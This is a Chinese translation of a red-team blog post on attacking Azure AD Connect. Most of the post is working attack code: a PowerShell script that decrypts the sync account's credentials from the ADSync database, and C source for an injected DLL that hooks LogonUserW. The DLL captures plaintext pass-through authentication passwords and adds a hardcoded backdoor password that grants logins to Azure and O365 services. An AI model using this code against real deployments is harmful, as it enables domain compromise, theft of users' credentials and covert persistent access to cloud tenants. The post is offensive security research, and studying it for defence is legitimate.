滥用Azure AD Connect窃取用户凭证并添加万能密码

概述

随着客户越来越依赖于Azure提供的云服务,我开始关注Azure AD。对于那些没有机会使用它的人来说,这个概念非常简单,除了通过将身份验证扩展到本地Active Directory意外,用户可以使用他们的凭据对Azure、Office 365、Sharepoint和数百个第三方等Microsoft服务进行身份验证。

如果我们查看可用的文档,会发现Microsoft提供了Azure AD的多种配置方式,以便于现有的Active Directory部署即成。第一个,也是最有趣的一个就是密码哈希同步(Password Hash Synchronisation,PHS),会将用户帐户和密码哈希值从Active Directory上传到Azure。第二种方法是传递身份验证(Pass-through Authentication,PTA),它允许Azure将身份验证请求转发到本地AD,而不是依赖于上传哈希。最后,我们进行了联合身份验证(Federated Authentication),这就是我们多次见过的传统ADFS部署。

当然,现在这些描述可能比较抽象,所以在这篇文章中我们将讨论红蓝对抗中红方成员应该如何利用Azure AD(更具体来说是Azure AD Connect)来实现他们的目标。

在我继续之前,我首先指出,这篇文章并没有利用一些非常炫酷的0 day。如果攻击者能够访问运行Azure AD Connect的服务器,那么就可以提高对某些攻击的认识。如果各位读者正在寻找有关加固Azure AD Connect部署的技巧,我们建议阅读Microsoft的文档,其中不仅包含配置方法和强化建议,还很好的记录了Azure AD的内部结构。

建立我们的实验室

在我们开始研究Azure AD之前,我们首先需要一个实验室来模拟攻击。要创建实验室,我们要使用:

1、一个运行Windows Server 2016的虚拟机;

2、Azure AD中分配了全局管理员角色的Azure帐户;

3、Azure AD Connect。

首先,我们需要在Azure AD中设置具有全局管理员权限的帐户,这可以通过管理门户轻松完成:

1.png

创建帐户后,我们需要在具有域访问权限的服务器上安装Azure AD Connect应用程序。Azure AD Connect是Active Directory环境中安装的服务。它负责与Azure AD同步和通信,这是本文主要关注的内容。

为了加快我们实验室的安装过程,我们将在Azure AD Connect安装期间使用“Express Settings”选项,默认为Password Hash Synchronization:

2.png

完成Azure AD Connect的安装后,我们应该可以收到如下通知:

3.png

有了它之后,我们开始深入研究一些内部工作原理,首先从PHS开始。

PHS……看起来像DCSync

要开始我们对PHS的分析,我们首先应该查看一个负责处理密码哈希同步的程序集Microsoft.Online.PasswordSynchronization.dll。我们可以在Azure AD Sync的默认安装路径C:\Program Files\Microsoft Azure AD Sync\Bin中找到这个程序集。

要围绕暴露的类和方法进行狩猎,有一些有趣的参考:

4.png

大家可能知道,DRS(Directory Replication Services,目录复制服务)作为很多API的前缀,这有助于在域控制器之间复制对象。我们最喜欢的一个工具Mimikatz也使用了DRS来恢复密码哈希值。

因此,我们实际看到的是Azure AD Connect如何从Active Directory检索数据并将其转发到Azure AD的过程。那么,这个过程对我们来说意味着什么呢?我们知道,要通过Mimikatz执行DCSync,帐户必须要拥有AD中的“复制目录更改”(Replicating Directory Changes)权限。我们回过头来看Active Directory,我们可以看到在使用用户名MSOL_[HEX]安装Azure AD Connect期间,有一个新帐户被创建。在快速查看其权限后,我们就能够明确复制AD帐户的具体要求:

5.png

那么我们如何才能获得对此帐户的访问权限呢?我们可以考虑的第一件事就是从Azure AD Connect服务中抓取令牌,或者使用Cobalt Strike注入服务。Microsoft已经想到了这一点,并且实际负责DRS(Microsoft Azure AD Sync)的服务实际上以NT SERVICE\ADSync运行,所以我们就会更难以获得DCSync权限,要进行更努力的尝试。

现在,默认情况下,在部署连接器时,将会使用SQL Server的LOCALDB在主机上创建新的数据库。要查看有关正在运行的实例的信息,我们可以使用已经安装的SqlLocalDb.exe工具:

6.png

该数据库通过存储服务的元数据和配置数据来支持Azure AD Sync服务。通过搜索,我们可以看到一个名为mms_management_agent的表,其中包含许多字段,包括private_configuration_xml。该字段中的XML包含有关MSOL用户的详细信息:

7.png

但是,正如我们所看到的,从返回的XML中省略了密码。加密密码实际上存储在另一个字段encrypted_configuration中。通过在连接器服务中处理这些加密数据,我们看到许多对C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll程序集的引用,它负责密钥管理和解密数据:

8.png

为了解密encrypted_configuration值,我创建了一个快速PoC,它将从LocalDB实例中检索密钥信息,然后将其传递给mcrypt.dll程序集进行解密:

Write-Host “AD Connect Sync Credential Extract POC (@_xpn_)`n”
 
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
 
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
 
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
 
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
 
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

在执行时,将显示MSOL帐户的解密密码:

9.png

那么,要完成这种凭证渗透,其要求是什么?具体而言,我们需要访问LocalDB(如果配置为使用此DB),默认情况下它具有以下安全配置:

10.png

这意味着,如果我们能够攻破包含Azure AD Connect服务的服务器,并获得ADSyncAdmins或本地Administrators组的访问权限,那么我们就能够检索可以执行DCSync的帐户的凭据:

11.png

传递身份验证

由于密码哈希在组织外同步的想法,对于某些组织的实际情况来说是不可行的,因此Azure AD还支持传递身份验证(Pass Through Authentication,PTA)。此选项允许Azure AD通过Azure ServiceBus将身份验证请求转发到Azure AD Connect服务,实际上是将验证身份的责任转移到Active Directory。

为了进一步探讨这一点,我们来重新配置我们的实验室,以使用传递身份验证:

12.png

一旦将这一更改推送到Azure,我们的配置就可以允许用户通过Azure AD进行身份验证,以便根据内部域控制器验证其平局。对于希望允许SSO但不希望将整个AD数据库上传到云上的用户来说,这是一个非常好的折衷方案。

然而,PTA过程中还有一些值得关注的内容,那就是如何将身份验证凭据发送到连接器进行验证。让我们来看看在幕后发生的事情。

我们可以看到的第一件事,是许多处理凭证验证的方法:

13.png

随着我们开始深入研究,我们发现这些方法实际上是通过pinvoke包装的Win32 API LogonUserW:

14.png

如果我们附加调试器,在此方法上添加断点,并尝试向Azure AD进行身份验证,我们将会看到:

15.png

这意味着,当用户通过配置了PTA的Azure AD输入密码时,他们的凭据将会被取消传递到连接器,然后连接器将会根据Active Directory对它们进行验证。那么,如果我们攻破负责Azure AD Connect的服务器呢?这样一来,我们就占据了一个有利地形,每当有人尝试通过Azure AD进行身份验证时,就可以开始对明文AD凭据进行通信。

那么,我们如何在此过程中从连接器获取数据呢?

对Azure AD Connect进行挂钩

如上所述,尽管大部分逻辑都是在.NET中进行的,但验证从Azure AD传递的凭据的实际身份验证调用使用了非托管的Win32 API LogonUserW来进行。这为我们提供了一个注入代码的好位置,并且我们可以将调用重定向到我们控制的函数。

为此,我们需要使用SeDebugPrivilege来获取服务进程的句柄(因为它在NT SERVICE\ADSync下运行)。通常,SeDebugPrivilege仅供本地管理员使用,这意味着我们需要获得对服务器的本地管理员访问权限,然后才能修改正在运行的进程。

在我们添加挂钩之前,我们需要看看LogonUserW是如何工作的,以确保我们可以在执行代码后将调用恢复到稳定状态。回顾IDA中的advapi32.dll,我们发现LogonUser实际上只是LogonUserExExW的包装器:

16.png

理想情况下,我们不希望通过尝试将执行返回到此函数的方法,来支持不同Windows版本。因此,回到连接器对API调用的使用,我们可以看到它实际关注的是身份验证是通过还是失败。这允许我们利用任意其他实现相同验证的API。需要注意的是,调用不会调用(Invoke)LogonUserW。有一个符合此要求的API函数,就是LogonUserExW。

这意味着,我们可以这样做:

1、将DLL注入到Azure AD Sync进程;

2、从注入的DLL中修补LogonUserW函数,以跳转到我们的钩子;

3、调用我们的钩子时,解析并存储凭据;

4、将身份验证请求转发到LogonUserExW;

5、返回结果。

我不会详细介绍DLL注入的方法,大家可以在其他文章中看到详细的讲解。我们将要注入的DLL如下所示:

#include <windows.h>
#include <stdio.h>
 
// Simple ASM trampoline
// mov r11, 0x4142434445464748
// jmp r11
unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 };
 
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken);
 
HANDLE pipeHandle = INVALID_HANDLE_VALUE;
 
void Start(void) {
       DWORD oldProtect;
 
       // Connect to our pipe which will be used to pass credentials out of the connector
       while (pipeHandle == INVALID_HANDLE_VALUE) {
              pipeHandle = CreateFileA("\\\\.\\pipe\\azureadpipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
              Sleep(500);
       }
 
       void *LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW");
       if (LogonUserWAddr == NULL) {
              // Should never happen, but just incase
              return;
       }
 
       // Update page protection so we can inject our trampoline
       VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);
 
       // Add our JMP addr for our hook
       *(void **)(trampoline + 2) = &LogonUserWHook;
 
       // Copy over our trampoline
       memcpy(LogonUserWAddr, trampoline, sizeof(trampoline));
 
       // Restore previous page protection so Dom doesn't shout
       VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect);
}
 
// The hook we trampoline into from the beginning of LogonUserW
// Will invoke LogonUserExW when complete, or return a status ourselves
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
       PSID logonSID;
       void *profileBuffer = (void *)0;
       DWORD profileLength;
       QUOTA_LIMITS quota;
       bool ret;
       WCHAR pipeBuffer[1024];
       DWORD bytesWritten;
 
       swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password);
       WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL);
 
       // Forward request to LogonUserExW and return result
       ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota);
       return ret;
}
 
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
              Start();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在执行后,我们可以看到,每次用户通过Azure AD进行身份验证时,都会收集凭据。

视频:https://youtu.be/ed90a5B_Rqk

LogonUser后门

至此,我们已经掌握了检索凭据的方法。但是,如果我们真的想要获得对Azure AD支持的服务的访问权限呢?在这个阶段,我们控制了LogonUserW,更重要的是,我们控制了它的响应。那么,我们可以插入一个后门,来为我们提供访问权限。

在DLL代码中,我们添加一个简单的硬编码密码检查:

BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
       PSID logonSID;
       void *profileBuffer = (void *)0;
       DWORD profileLength;
       QUOTA_LIMITS quota;
       bool ret;
       WCHAR pipeBuffer[1024];
       DWORD bytesWritten;
 
       swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password);
       WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL);
 
       // Backdoor password
       if (wcscmp(password, L"ComplexBackdoorPassword") == 0) {
              // If password matches, grant access
              return true;
       }
 
       // Forward request to LogonUserExW and return result
       ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota);
       return ret;
}

显然,我们可以将后门实现弄得非常复杂,或者非常简单,这一点由我们决定。接下来,看看尝试对O365进行身份验证时的情况。

视频:https://youtu.be/UxKEQ9tIiLs

在掌握了上述技术后,对我们有什么帮助呢?首先,对于红蓝对抗中的红方来说,目标Azure AD Connect可以帮助更快地找到域管理。此外,如果评估的目标是在Azure或与Azure AD集成的其他服务中,我们就有可能在通过PTA传递身份验证请求的任何帐户成功通过身份验证。

尽管本文列举了一些详细的方法,但实际上,在部署Azure AD时还有很多可用的配置和备用选项,因此我非常希望看到红方能持续对此服务的利用方法开展更深入的研究。


为您推荐了相关的技术文章:

  1. fcn - 一键接入私有网络的工具
  2. 内网安全之域服务账号破解实践
  3. The Most Common Active Directory Security Issues and What You Can Do to Fix Them
  4. Mimikatz and Active Directory Kerberos Attacks
  5. Microsoft Local Administrator Password Solution (LAPS)

原文链接: www.4hou.com